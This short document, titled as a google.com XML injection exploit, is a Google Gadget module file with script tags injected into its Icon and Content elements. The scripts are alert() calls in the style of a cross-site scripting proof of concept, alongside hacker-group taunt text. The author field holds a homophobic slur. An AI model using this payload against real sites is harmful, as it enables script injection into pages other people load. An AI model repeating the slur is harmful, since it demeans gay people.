google.com XML injection exploit

<Module>
 <ModulePrefs title="skitties pls" title_url="r1p" description="__MSG_description__ __MSG_release_notes__" author="faggots everywhere" author_email="[email protected]" author_affiliation="Google Inc." author_location="CyberSpace" category="news" thumbnail="http://www.gstatic.com/ig/modules/tabnews/tabnews_content/__MSG_ned__-thm.png" screenshot="http://www.gstatic.com/ig/modules/tabnews/tabnews_content/__MSG_ned__.png" scrolling="false" singleton="false"/>
 <Icon>
http://www.gstatic.com/news/img/favicon.ico
  <script>alert(/Icon/)</script>
 </Icon>
 <Content type="html">
  <h1>ALL YOUR BASE ARE BELONG TO MLT</h1>
  <script>alert("MLTlol");</script>
 </Content>
</Module>